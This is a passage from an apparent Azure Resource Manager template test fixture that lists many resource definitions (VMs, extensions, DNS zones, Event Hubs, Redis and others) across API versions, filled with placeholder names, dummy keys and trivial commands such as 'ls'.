\"name\": \"[parameters('a')]\",\n      \"apiVersion\": \"2016-01-29\",\n      \"location\": \"[parameters('a')]\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"tier\": \"Standard\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2015-05-04-preview\",\n      \"name\": \"adf\",\n      \"location\": \"abcd\",\n      \"properties\": {\n        \"maxNumberOfRecordSets\": \"[parameters('b')]\"\n      },\n      \"tags\": {\n        \"a\": \"n\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts/applications\",\n      \"apiVersion\": \"2015-12-01\",\n      \"name\": \"dafdaf\",\n      \"location\": \"dfadafd\",\n      \"tags\": {\n        \"c\": \"cac\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Batch/batchAccounts\",\n      \"apiVersion\": \"2015-12-01\",\n      \"location\": \"Australia East\",\n      \"name\": \"dafdaf\",\n      \"tags\": {\n        \"c\": \"cac\"\n      },\n      \"properties\": {\n        \"autoStorage\": {\n          \"storageAccountId\": \"afdafa\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"apiVersion\": \"2016-02-01-preview\",\n      \"kind\": \"ComputerVision\",\n      \"location\": \"Australia East\",\n      \"name\": \"adfad\",\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Cdn/profiles\",\n      \"apiVersion\": \"2015-06-01\",\n      \"name\": \"[parameters('c')]\",\n      \"location\": \"Australia Southeast\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Premium\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2016-01-01\",\n      \"kind\": \"BlobStorage\",\n      \"name\": \"cdsdf\",\n      \"location\": \"Australia East\",\n      \"sku\": {\n        \"name\": \"Premium_LRS\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Automation/automationAccounts/runbooks\",\n      \"apiVersion\": \"2015-10-31\",\n      \"name\": \"daf\",\n      \"location\": \"Australia East\",\n      \"properties\": {\n        \"publishedContentLink\": \"afdaf\",\n        \"runbookType\": \"Graph\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Automation/automationAccounts/modules\",\n      \"apiVersion\": \"2015-10-31\",\n      \"name\": \"adfdaf\",\n      \"location\": \"Australia East\",\n      \"properties\": {\n        \"contentLink\": {\n          \"uri\": \"afda\",\n          \"contentHash\": {\n            \"algorithm\": \"afd\",\n            \"value\": \"afdaf\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs\",\n      \"apiVersion\": \"2016-05-15\",\n      \"name\": \"adfa\",\n      \"properties\": {\n        \"defaultStorageAccount\": \"abc\",\n        \"labStorageType\": \"Premium\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"virtualmachines\",\n          \"apiVersion\": \"2016-05-15\",\n          \"name\": \"ljkio\",\n          \"properties\": {\n            \"notes\": \"bcde\",\n            \"isAuthenticationWithSshKey\": true\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.DevTestLab/labs/artifactsources\",\n      \"apiVersion\": \"2016-05-15\",\n      \"name\": \"dss\",\n      \"properties\": {\n        \"displayName\": \"jldskl\",\n        \"sourceType\": \"GitHub\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"[parameters(concat('a-', copyIndex()))]\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"parametersLink\": {\n          \"uri\": \"http://a.com/1\",\n          \"contentVersion\": \"1.0.0.0\"\n        },\n        \"templateLink\": {\n          \"uri\": \"http://a.com/1\",\n          \"contentVersion\": \"1.0.0.0\"\n        }\n      },\n      \"copy\": {\n        \"count\": 3,\n        \"name\": \"adfb\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2015-05-04-preview\",\n      \"name\": \"zonesWithChildResource\",\n      \"properties\": {\n        \"maxNumberOfRecordSets\": 123,\n        \"numberOfRecordSets\": 32\n      },\n      \"resources\": [\n        {\n          \"type\": \"TXT\",\n          \"apiVersion\": \"2015-05-04-preview\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Scheduler/jobCollections\",\n      \"apiVersion\": \"2016-03-01\",\n      \"name\": \"mycollection\",\n      \"properties\": {},\n      \"resources\": [\n        {\n          \"name\": \"jobs\",\n          \"type\": \"jobs\",\n          \"apiVersion\": \"2016-03-01\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2015-02-01-preview\",\n      \"name\": \"myflow\",\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"parameters\": {\n          \"para1\": {\n            \"type\": \"Array\",\n            \"value\": {}\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.RecoveryServices/vaults\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"vaults\",\n      \"location\": \"East US\",\n      \"sku\": {\n        \"name\": \"RS0\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {\n        \"prop1\": \"val1\"\n      },\n      \"tags\": {\n        \"additional\": \"value\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Media/mediaServices\",\n      \"apiVersion\": \"2015-10-01\",\n      \"name\": \"sfdsfw\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccounts\": [\n          {\n            \"id\": \"123\",\n            \"isPrimary\": false\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Cache/Redis\",\n      \"name\": \"redis\",\n      \"location\": \"East US\",\n      \"apiVersion\": \"2016-04-01\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Basic\",\n          \"capacity\": 15,\n          \"family\": \"C\"\n        },\n        \"shardCount\": 30,\n        \"tenantSettings\": {\n          \"set1\": \"abc\"\n        },\n        \"subnetId\": \"/subscriptions/123/resourceGroups/abc/providers/Microsoft.Network/virtualNetworks/abc/subnets/sub\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/workspaces\",\n      \"apiVersion\": \"2016-04-01\",\n      \"location\": \"East US\",\n      \"name\": \"[parameters('wsName')]\",\n      \"properties\": {\n        \"userStorageAccountId\": \"guid\",\n        \"ownerEmail\": \"owner@machinelearning.com\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Devices/IotHubs\",\n      \"apiVersion\": \"2016-02-03\",\n      \"location\": \"East US\",\n      \"name\": \"myiot\",\n      \"resourcegroup\": \"myRg\",\n      \"subscriptionid\": \"mySubscriptionId\",\n      \"properties\": {\n        \"authorizationPolicies\": [\n          {\n            \"keyName\": \"key1\",\n            \"rights\": \"RegistryRead\"\n          }\n        ],\n        \"eventHubEndpoints\": {\n          \"prop1\": {\n            \"partitionCount\": 12,\n            \"retentionTimeInDays\": 12\n          }\n        },\n        \"cloudToDevice\": {\n          \"maxDeliveryCount\": 99,\n          \"defaultTtlAsIso8601\": \"abc\",\n          \"feedback\": {\n            \"lockDurationAsIso8601\": \"123\",\n            \"ttlAsIso8601\": \"33\",\n            \"maxDeliveryCount\": 33\n          }\n        },\n        \"operationsMonitoringProperties\": {\n          \"events\": {\n            \"abc\": \"Error\",\n            \"ds\": \"Error, Information\"\n          }\n        },\n        \"ipFilterRules\": [\n          {\n            \"filterName\": \"name\",\n            \"action\": \"Accept\",\n            \"ipMask\": \"192.168.1.1/24\"\n          }\n        ]\n      },\n      \"sku\": {\n        \"name\": \"F1\",\n        \"capacity\": 1\n      }\n    },\n    {\n      \"apiVersion\": \"2017-06-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat(parameters('BEvirtualMachineNames')[copyIndex()],'-nic')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"copy\": {\n        \"name\": \"BEnicLoop\",\n        \"count\": 1\n      },\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Static\",\n              \"privateIPAddress\": \"[concat(parameters('BEsubnetIPPrefix'),copyIndex(parameters('BEnicStartingAddress')))]\",\n              \"subnet\": {\n                \"id\": \"123\"\n              }\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": \"[skip(parameters('onPremDNSServers'), 3)]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnszones\",\n      \"apiVersion\": \"2016-04-01\",\n      \"name\": \"myzones\",\n      \"location\": \"Canada Central\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"myflows\",\n      \"properties\": {\n        \"state\": \"Suspended\",\n        \"sku\": {\n          \"name\": \"NotSpecified\",\n          \"plan\": {\n            \"id\": \"123\"\n          }\n        },\n        \"definition\": {\n          \"prop1\": \"val1\"\n        },\n        \"parameters\": {\n          \"para1\": {\n            \"type\": \"Bool\",\n            \"value\": {},\n            \"metadata\": \"[parameters('metadata')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-03-30\",\n      \"name\": \"myextension\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publisher\": \"publisher\",\n        \"settings\": {},\n        \"type\": \"mytype\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myextension\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publisher\": \"publisher\",\n        \"settings\": {},\n        \"type\": \"mytype\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2015-06-15\",\n      \"name\": \"extension1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.Diagnostics\",\n        \"type\": \"IaaSDiagnostics\",\n        \"typeHandlerVersion\": \"12\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"xmlCfg\": \"123\",\n          \"StorageAccount\": \"ba\"\n        },\n        \"protectedSettings\": {\n          \"storageAccountName\": \"storage\",\n          \"storageAccountKey\": \"ljsfa;lj\",\n          \"storageAccountEndPoint\": \"endpoint\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n        \"type\": \"VMSnapshot\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"locale\": \"test locale\",\n          \"taskId\": \"test id\",\n          \"commandToExecute\": \"test cmd\",\n          \"objectStr\": \"test objstr\",\n          \"logsBlobUri\": \"test log uri\",\n          \"statusBlobUri\": \"test blob uri\",\n          \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n          \"vmType\": \"microsoft.compute/virtualmachines\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.NetworkWatcher\",\n        \"type\": \"NetworkWatcherAgentWindows\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": false,\n        \"settings\": {\n          \"absURL\": \"abc\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"extension1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.Diagnostics\",\n        \"type\": \"IaaSDiagnostics\",\n        \"typeHandlerVersion\": \"12\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"xmlCfg\": \"123\",\n          \"StorageAccount\": \"ba\"\n        },\n        \"protectedSettings\": {\n          \"storageAccountName\": \"storage\",\n          \"storageAccountKey\": \"ljsfa;lj\",\n          \"storageAccountEndPoint\": \"endpoint\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n        \"type\": \"VMSnapshot\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"locale\": \"test locale\",\n          \"taskId\": \"test id\",\n          \"commandToExecute\": \"test cmd\",\n          \"objectStr\": \"test objstr\",\n          \"logsBlobUri\": \"test log uri\",\n          \"statusBlobUri\": \"test blob uri\",\n          \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n          \"vmType\": \"microsoft.compute/virtualmachines\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"location\": \"Canada East\",\n      \"tags\": {},\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Azure.NetworkWatcher\",\n        \"type\": \"NetworkWatcherAgentWindows\",\n        \"typeHandlerVersion\": \"123\",\n        \"autoUpgradeMinorVersion\": false\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"location\": \"West Us\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.Compute\",\n        \"type\": \"CustomScriptExtension\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"fileUris\": [\n            \"test file uri\",\n            \"test file uri 2\"\n          ],\n          \"commandToExecute\": \"ls\"\n        }\n      }\n    },\n    {\n      \"name\": \"Test Name\",\n      \"location\": \"West Us\",\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets/extensions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"properties\": {\n        \"publisher\": \"Microsoft.OSTCExtensions\",\n        \"type\": \"CustomScriptForLinux\",\n        \"typeHandlerVersion\": \"Test Type Handler Version\",\n        \"autoUpgradeMinorVersion\": true,\n        \"settings\": {\n          \"fileUris\": [\n            \"test file uri\",\n            \"test file uri 2\"\n          ],\n          \"commandToExecute\": \"ls\"\n        },\n        \"protectedSettings\": {\n          \"commandToExecute\": \"ls\",\n          \"storageAccountName\": \"Test Storage Account Name\",\n          \"storageAccountKey\": \"Test Storage Account Key\",\n          \"storageAccountEndPoint\": \"Test Storage Account End Point\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2015-06-15\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": false,\n            \"storageUri\": \"uri\"\n          }\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2015-06-15\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2015-06-15\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2015-06-15\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"osProfile\": {\n          \"fdsfdsfs\": \"123\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2016-04-30-preview\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2018-06-01\",\n      \"location\": \"Canada East\",\n      \"name\": \"virtualmachine\",\n      \"properties\": {\n        \"hardwareProfile\": \"[parameters('a')]\",\n        \"storageProfile\": \"[parameters('b')]\",\n        \"networkProfile\": \"[parameters('c')]\",\n        \"osProfile\": {\n          \"fdsfdsfs\": \"123\"\n        }\n      },\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2018-06-01\",\n          \"name\": \"extension1\",\n          \"location\": \"West US 2\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Diagnostics\",\n            \"type\": \"IaaSDiagnostics\",\n            \"typeHandlerVersion\": \"12\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"xmlCfg\": \"123\",\n              \"StorageAccount\": \"ba\"\n            },\n            \"protectedSettings\": {\n              \"storageAccountName\": \"storage\",\n              \"storageAccountKey\": \"ljsfa;lj\",\n              \"storageAccountEndPoint\": \"endpoint\"\n            }\n          }\n        },\n        {\n          \"type\": \"extensions\",\n          \"apiVersion\": \"2018-06-01\",\n          \"name\": \"myextension\",\n          \"location\": \"West Central US\",\n          \"properties\": {\n            \"publisher\": \"publisher\",\n            \"settings\": {},\n            \"type\": \"mytype\",\n            \"typeHandlerVersion\": \"123\",\n            \"autoUpgradeMinorVersion\": \"abc\"\n          }\n        },\n        {\n          \"name\": \"Test Name\",\n          \"type\": \"extensions\",\n          \"location\": \"Australia East\",\n          \"apiVersion\": \"2018-06-01\",\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.RecoveryServices\",\n            \"type\": \"VMSnapshotLinux\",\n            \"typeHandlerVersion\": \"Test Type Handler Version\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"locale\": \"test locale\",\n              \"taskId\": \"test id\",\n              \"commandToExecute\": \"test cmd\",\n              \"objectStr\": \"test objstr\",\n              \"logsBlobUri\": \"test log uri\",\n              \"statusBlobUri\": \"test blob uri\",\n              \"commandStartTimeUTCTicks\": \"test cmd starttime\",\n              \"vmType\": \"microsoft.compute/virtualmachines\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/snapshots\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Empty\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"virtualMachines\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"VirtualMachineProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"virtualMachines\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"VirtualMachineProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/images\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"images\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets/extensions\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"publisher\": \"samplePublisher\",\n        \"type\": \"virtualMachineScaleSets/extensions\",\n        \"typeHandlerVersion\": \"123\",\n        \"settings\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n      \"apiVersion\": \"2017-12-01\",\n      \"name\": \"sets\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"publisher\": \"samplePublisher\",\n        \"type\": \"virtualMachines/extensions\",\n        \"typeHandlerVersion\": \"123\",\n        \"settings\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"sets\",\n      \"location\": \"Japan East\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"id\": \"123\",\n                \"name\": \"name\",\n                \"properties\": {\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"123\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/disks\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"mydisks\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Copy\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/images\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myimages\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"sourceVirtualMachine\": {\n          \"id\": \"id11\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/snapshots\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"myname\",\n      \"location\": \"East US 2\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Copy\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"sets\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"managed\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"name\": \"sets\",\n      \"location\": \"Japan East\",\n      \"sku\": {\n        \"name\": \"name\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"id\": \"123\",\n                \"name\": \"name\",\n                \"properties\": {\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"123\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/commitmentPlans\",\n      \"apiVersion\": \"2016-05-01-preview\",\n      \"name\": \"myplans\",\n      \"location\": \"West Central US\",\n      \"sku\": {\n        \"name\": \"mysku\",\n        \"tier\": \"12\",\n        \"capacity\": 12\n      }\n    },\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"apiVersion\": \"2016-02-01-preview\",\n      \"name\": \"myaccounts\",\n      \"sku\": \"[parameters('sku')]\",\n      \"kind\": \"Face\",\n      \"location\": \"Canada Central\",\n      \"properties\": {\n        \"prop1\": \"val1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"eventhubNamespaces\",\n      \"location\": \"Central US\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Basic\"\n      },\n      \"properties\": {\n        \"status\": \"Active\",\n        \"enabled\": false\n      },\n      \"resources\": [\n        {\n          \"type\": \"eventhubs\",\n          \"apiVersion\": \"2015-08-01\",\n          \"location\": \"Canada East\",\n          \"name\": \"23\",\n          \"properties\": {\n            \"status\": \"Creating\"\n          }\n        },\n        {\n          \"type\": \"AuthorizationRules\",\n          \"apiVersion\": \"2015-08-01\",\n          \"location\": \"Canada East\",\n          \"name\": \"234\",\n          \"properties\": {\n            \"rights\": [\n              \"Manage\"\n            ]\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces/AuthorizationRules\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"rules\",\n      \"location\": \"East Asia\",\n      \"properties\": {\n        \"rights\": [\n          \"Listen\",\n          \"Manage\"\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces\",\n      \"apiVersion\": \"2015-08-01\",\n      \"location\": \"Canada Central\",\n      \"name\": \"fds123\",\n      \"sku\": {\n        \"tier\": \"Premium\"\n      },\n      \"properties\": {\n        \"status\": \"Creating\"\n      },\n      